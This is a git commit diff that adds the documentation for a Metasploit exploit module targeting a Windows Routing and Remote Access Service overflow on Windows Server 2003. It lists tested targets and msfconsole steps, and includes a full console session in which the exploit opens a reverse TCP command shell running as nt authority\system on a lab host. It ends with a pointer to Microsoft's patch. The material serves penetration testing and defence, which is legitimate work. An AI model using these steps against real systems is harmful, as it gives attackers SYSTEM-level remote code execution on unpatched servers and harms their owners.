Add Microsoft Windows RRAS Service MIBEntryGet Overflow

2021-03-03 02:50:42 +00:00
parent 1e87453428
commit 3da8fce9cf
2 changed files with 402 additions and 0 deletions
@@ -0,0 +1,85 @@
+## Vulnerable Application
+
+This module exploits an overflow in the Windows Routing and Remote
+Access Service (RRAS) to execute code as SYSTEM.
+
+The RRAS DCERPC endpoint is accessible to unauthenticated users via
+SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts;
+however, this module targets Windows Server 2003 only.
+
+Since the service is hosted inside `svchost.exe`, a failed exploit
+attempt can cause other system services to fail as well.
+    
+The module has been successfully tested on:
+
+* Windows Server 2003 SP0 (x86)
+* Windows Server 2003 SP1 (x86)
+* Windows Server 2003 SP2 (x86)
+* Windows Server 2003 R2 SP2 (x86)
+
+## Verification Steps
+
+Windows:
+
+* Launch `services.msc`
+* Start `Routing and Remote Access Service`
+
+Note that the service may take up to one minute to start.
+
+Metasploit:
+
+1. Start msfconsole
+1. Do: `use exploit/windows/smb/smb_rras_erraticgopher`
+1. Do: `set rhosts <rhosts>`
+1. Do: `run`
+1. You should get a `SYSTEM` shell.
+
+## Options
+
+### SMBPIPE
+
+The pipe name to use (default: `browser`)
+
+## Scenarios
+
+### Windows Server 2003 R2 SP2 (x86)
+
+```
+msf6 > use exploit/windows/smb/smb_rras_erraticgopher 
+[*] Using configured payload windows/shell/reverse_tcp
+msf6 exploit(windows/smb/smb_rras_erraticgopher) > set rhosts 172.16.191.171
+rhosts => 172.16.191.171
+msf6 exploit(windows/smb/smb_rras_erraticgopher) > check
+[*] 172.16.191.171:445 - The service is running, but could not be validated. RRAS enabled and accessible.
+msf6 exploit(windows/smb/smb_rras_erraticgopher) > set lhost 172.16.191.192 
+lhost => 172.16.191.192
+msf6 exploit(windows/smb/smb_rras_erraticgopher) > run
+
+[*] Started reverse TCP handler on 172.16.191.192:4444 
+[*] 172.16.191.171:445 - Binding to 8f09f000-b7ed-11ce-bbd2-00001a181cad:0.0@ncacn_np:172.16.191.171[\browser] ...
+[*] 172.16.191.171:445 - Bound to 8f09f000-b7ed-11ce-bbd2-00001a181cad:0.0@ncacn_np:172.16.191.171[\browser] ...
+[*] 172.16.191.171:445 - Selecting a target ...
+[*] 172.16.191.171:445 - Fingerprint: Windows 2003 R2 (Service Pack 2) - Language: Unknown
+[*] 172.16.191.171:445 - Could not detect the language pack, defaulting to English
+[*] 172.16.191.171:445 - Using target: Windows Server 2003 R2 SP2 (English) (NX)
+[*] 172.16.191.171:445 - Calling RRAS MIBEntryGet with payload (1876 bytes) ...
+[*] Encoded stage with x86/shikata_ga_nai
+[*] Sending encoded stage (267 bytes) to 172.16.191.171
+[*] Command shell session 1 opened (172.16.191.192:4444 -> 172.16.191.171:1029) at 2021-03-02 18:57:40 -0500
+
+Microsoft Windows [Version 5.2.3790]
+(C) Copyright 1985-2003 Microsoft Corp.
+
+C:\WINDOWS\system32>whoami
+whoami
+nt authority\system
+
+C:\WINDOWS\system32>
+```
+
+## Mitigation
+
+Microsoft have released KB4024323 for Windows 2003 and Windows XP:
+
+* https://support.microsoft.com/en-us/topic/microsoft-security-advisory-4025685-guidance-for-older-platforms-june-13-2017-05151e8a-bd7f-f769-43df-38d2c24f96cd
+